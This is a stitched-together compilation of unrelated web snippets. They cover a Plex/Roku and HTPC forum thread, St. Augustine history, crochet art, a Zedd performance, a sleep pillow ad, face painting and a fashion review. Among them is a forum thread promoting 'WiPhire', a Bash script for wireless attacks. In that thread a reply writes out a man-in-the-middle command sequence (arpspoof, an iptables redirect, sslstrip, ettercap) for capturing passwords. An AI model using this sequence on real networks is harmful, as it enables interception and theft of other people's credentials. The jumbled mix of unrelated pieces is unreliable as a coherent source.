It shows a grand total of parts of: $195 for case, MB, cpu, psu, and ram.
If you add Windows 7 OS,..$300-$350
I get carried away sometimes.
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Do you have to pay for plex on the roku, or is it free on the channels list?
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I'd say that's a pretty personal question. Make a list of what you want from your HTPC. If Plex on roku meets those needs, then rock it out with your pockets out. To illustrate the contrast, I could easily say roku is a 100x better solution than XBMC. And be totally justified... if all I want is Netflix.
Roku doesn't let me play Skyrim and Super Mario Bros 3 with my xbox 360 controller and headset =)
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I personally love Plex. Cheap ($60 Roku, $99 Google TV). Easy to setup. Mobile clients for access anywhere. Playback resume across all devices, which I love because I can watch shows or movies on my Android tablet at work and pickup where I left off when I get home. You can also share out your media easily with MyPlex accounts. Easy to use... my 3.5 year olds have been using it since they were 2.
I wish XBMC had cheaper options. I still rock it on the og xbox. Although I'm using that less and less as I also have a Roku on that TV too. Instead of building an HTPC for $300, I have 3 TVs going (Logitech Revue and 2 Roku's) for $240. For my use, locally stored videos and Netflix, it's perfect.
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Well,...I installed the Plex Media Server where I have my ripped DVDs (all iso files for now)
I then added the Plex channel on my Roku (it's free to the person that asked,..in fact, you don't even need to register if all you're using it for is to play you media locally)
So, it connected to the Media Server,....and it did create the art for the individual movies and music it found.
Music plays fine.
But,.....the movies,...not so much.
It plays the movie "The Right Stuff",..but all others,...it dumps out and won't play any other movies.
The interface is slow, and not as pretty as XBMC (of course)
I think I'll work toward getting that HTPC built and soon.
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That is because Plex does not support ISO playback!
Any other file format would work fine. I ripped all my DVD-ISO's to MKV's with MakeMKV but I am slowly replacing them all with BluRay rips! And no the Plex GUI does not look as nice as XBMC on a PC.
But it looks a lot better then the non-exciting XBMC on Roku
Remember that Plex is a Server + Client approach with means one Server and unlimited Clients on a lot of devices(iOS,Android,DNLA,Roku...etc).
If you are like me and just need a system for playing back local media to several devices Plex is the best way to go.
If you are building a HTPC you could also install Plex on that and personally I like the Plex Client GUI better then the XBMC one.
But that of course is personel.
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I just picked up a Roku 3 box for my bedroom (dumb TV in there). I put Plex server on my XBMC, Frodo, Windows 7 HTPC. Using the free Plex channel on the Roku, I can watch my Movies and TV Shows perfectly!
PS, I'm using the Roku wirelessly. Very easy to set up...
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(2012-04-26 14:42)digiot Wrote: That is because Plex does not support ISO playback!
Thanks for the info!
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Move over, Pilgrims. Sorry, John Smith. When it comes to roots, Florida's go way back. In 1513, Juan Ponce de Leon came here in search of the Fountain of Youth, and named the area La Florida for its flowers. Little more than a half-century later, the Spanish set up their first settlement in St. Augustine in 1565 — 42 years before the English founded Jamestown. Today, St. Augustine is one of the few American cities with its own Department of Heritage Tourism (904-825-1000, <www.historicstaugustine.com>). The city's Colonial Spanish Quarter living history museum (904-825-6830, <www.historicstaugustine.com/csq/history.html>) lets you step back into the era when St. Augustine was a remote outpost of the Spanish Empire, with costumed interpreters portraying Spanish soldiers and their families circa 1740.
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text: You gotta hand it to Joy Kampia– her taste in food is impeccable. Most of her soft sculptures featured crocheted pizza, burgers, ice cream and pie. Talk about a party! Joy brings, eh, new "Joy" to playing with your food! (Wah wah.) The pièce de résistance might have to be the wearable burger, above. Knitted turkey, blueberry pies, sundae dresses and giant donut necklaces after the jump!


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WATCH: Zedd performs new song 'Find You' on 'Jimmy Kimmel'
Zedd made another late night TV appearance when he performed his brand new single "Find You" with collaborators Matthew Koma and Miriam Bryant on "Jimmy Kimmel Live!"
The Grammy-winning producer/DJ tickled the ivories while Koma played guitar and sang alongside Bryant to perform their new single "Find You." The song was also recently featured in a Super Bowl ad for Budlight.
Check Zedd's performance of "Find You" below!
Zedd also performed his smash hit "Clarity" as well - this time with Matthew Koma and Miriam Bryant on vocals in place of Foxes. The single proved to be tremendous form him, winning the Grammy this year for Best Dance Recording.
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This is the cordless plush pillow that plays white noise and nine relaxing nature sounds to help lull you to sleep. Replacing the tangle of a headphone cord, the pillow's imperceptible speakers deliver clear audio without bulky components. They also keep the sound close to your ear, enabling a lower play volume than speakers propped on a nightstand, minimizing disruptions for others. In addition to white noise for drowning out ambient clatter, the pillow's soothing outdoor sounds include songbirds, a thunderstorm, and the ocean surf, and a timer shuts off the tracks after 15, 30, or 60 minutes. All settings are controlled via a side panel that is always within reach. Users can also plug in an MP3 player to fall asleep to their own music library. The queen-size pillow has medium-density 100% polyester filling that's ideal for side sleepers. The soft cotton shell can be spot cleaned. Requires two AA batteries. 25" L x 16" W x 6.5" H. (1 1/2 lbs.)
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Works very well for going to sleep. Due to the time it takes to program, I don't use it when I wake up at night. The pillow is very comfortable.
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Need inspiration for a fast, fun Halloween look? Face paint artist Angie Anders from Faces Alive Face Painting has a quintet of cool ideas that only require a face painting kit and a few minutes of your time. Whether you want to look like a masquerade ball beauty or a tiger in the grass, there are plenty of things here to get you on the right track. Click through to see some sweet paint and get Angie's tips for getting it right at home.
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Do you have any plans on developing this any further? If so, what can we can we hope to see in the future.
WiPhire is a Bash script aimed at making all of the standard wireless attacks a lot easier to perform.
This script was written on Backtrack 4 and designed to be used with Backtrack 4. You can try to run it on other OS's but I will not be modifying this for any other OS; you will have to do that yourself. This was also designed to be used with the Alfa AWUS036H Wireless adapter with the RTL8187 chipset. If you do not have this chipset but another adapter that is compatible with the aircrack-ng suite you will need to put it into monitor mode prior to running the script if you wish to use an option that needs monitor mode enabled. You can do this with 'airmon-ng start <interface>'. Also do note that this script needs to be ran as root.
Programs that WiPhire Uses:
- airmon-ng
- airodump-ng
- aireplay-ng
- aircrack-ng
- airdrop-ng (Requires directory /pentest/wireless/airdrop-ng/)
- xterm
- crunch (Requires directory /pentest/passwords/crunch)
- pyrit
- sslstrip
- arpspoof
- macchanger
- kate
- apache2 (Requires directory /etc/init.d/apache2)
- ettercap
- firefox (Trivial)
To use this Bash script (Or any Bash script) You need to take the script and place it somewhere that you can remember. For this example i will just use /root/. Now if you are root and you have the script on your desktop, open up a terminal and type ./WiPhire. This will now run the script. If you get a permissions error you will need to change the permissions to make the script executable 'chmod 777 ./WiPhire' This will now allow you to run it. If the script is stored in a different location you need to change the directory to the location before running the script. For example if the script was in a folder called 'scripts' on roots desktop we would run 'cd /root/scripts/' Then we would run './WiPhire'.
Do you have any plans on developing this any further? If so, what can we can we hope to see in the future.
Not sure we need *another* one of these however if you want the submission of your tool to be taken seriously you have to point out why your tool is better than some of the current ones and what does it do that the other tools do not.
For future versions on this, i intend to make it it even more user friendly and allow a greater variety options to be available for the individual operations. So for example include cpyrit set up with a GPU, alternate methods of generating packets for WEP cracking, more in depth options for DNS spoofing, more options for MITM attacks and maybe including a utility for mdk3. Also i would like to incorporate any new methods and techniques discovered in the coming months/years.
The idea for WiPhire is that it becomes the wireless equivalent of SET (Social Engineers Toolkit), If you look at SET and WiPhire you can see that they are both trying to be an all encompassing tool for the subject. The idea is that WiPhire will have an option for every major wireless operation.
To be honest i haven't really seen many scripts of this caliber in the wireless field. I have seen quite a few WEP cracking scripts and a couple of MITM scripts, but there isn't anything to my knowledge that has everything in one package.
I would like some feed back as to what needs to be improved/included in future versions, so any one who has downloaded a response would be great!
"Never do anything against conscience -- even if the state demands it."
-- Albert Einstein
Thanks a lot for the feedback i was starting to think that i would never hear any!
I think that if i can generate some interest and have it seriously considered for inclusion with Backtrack then i will go through it and make it as polished as i can! It is so annoying that no matter how many times you check something, prior to its release you will notice another problem...
I have had 136 downloads form my source forge page alone, and i have not advertised that page any where else to thanks a lot guys! In total i have had over 300 downloads in just under two weeks =]
Any more feedback would be greatly appreciated!
I do actually plan to test it my self because from the menu/post if it behaves as advertised it seems like it would be cool. I just have not had the time recently but it is on my to do list and i will leave some feed back here.
So anyone tried it out yet?
I would really appreciate feedback
hey mann i tried wiphire it's a dream coming true for me 10x for your script i rly adore it but i have a suggestion if you can make the mitm in a different way like gotmilk did look what i mean: kate /etc/etter.conf
>*uncomment redir_command_off in the iptables, linux section*
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i wlan0 -t 192.168.1.1
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
sslstrip -a -k -f
ettercap -T -q -i wlan0
in this method the password appear in ethercap without searching
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Michael van der Ham Spring 2013
When Michael van der Ham first burst onto the scene back in 2009, the young Dutchman was straight out of Central Saint Martins, typically the starting point for all that's radical and inventive in London fashion. Van der Ham was clashing and colliding colors, prints, and textures with a wild and gleeful abandon. While his contemporaries were busily engaged in showing how grown-up and impeccably finished they could make things, he had a little of that anarchic deconstructivist spirit of old, albeit rendered in fancier fabrics. Fast-forward to 2012, and he too has grown up to a quite remarkable degree, with traces of his experimental approach of the past registering only in the asymmetric dipping and rising hemlines. Elsewhere, there was a prettiness and lightness of touch that illustrates how much a young designer can learn on the job.
Taking as his inspiration the Spanish artist Joan Miró and 1960s Malian photographer Malick Sidibé, van der Ham mixed everything from aqua floral cloque to two-dimensional stylized blooms on austere gray backdrops, and light-reflecting summery lilac devoré velvet to geometric swathes of sequins—in other words, modernist abstraction meets a boldly personalized way with prints. These were whipped up into peplum-waisted or wrap-skirted dresses constructed out of planes of fabric that slid and hugged the body, or flew off into the breeze, only underscoring the gentleness of his approach. And, lastly, he made a rather good case for the bi-level skirt, that double layered phenomenon that London seems to be as enamored with as New York was.
But—and there is a but—what was missing was some of van der Ham's initial approach. You can't fault a designer for wanting to show he has matured, and can make things that are relevant beyond a minute coterie of fashion hipsters. And if you've learned to become better and better at realizing your clothes and raising the quality of them, then that's beyond criticism too. But the world is swimming in pretty, colorful, printed knee-length dresses, with perhaps a little decoration for good measure. Maybe it's the impact of the Internet on fashion, where that look registers effectively and alluringly, without any confusion as to what it is, encouraging designers down that particular road. It makes you wonder how the likes of another CSM alum John Galliano, with his fantastical bravura, would have fared if he'd been starting out in the digital age. Regardless, more of van der Ham's experimental attitude of old wouldn't go amiss.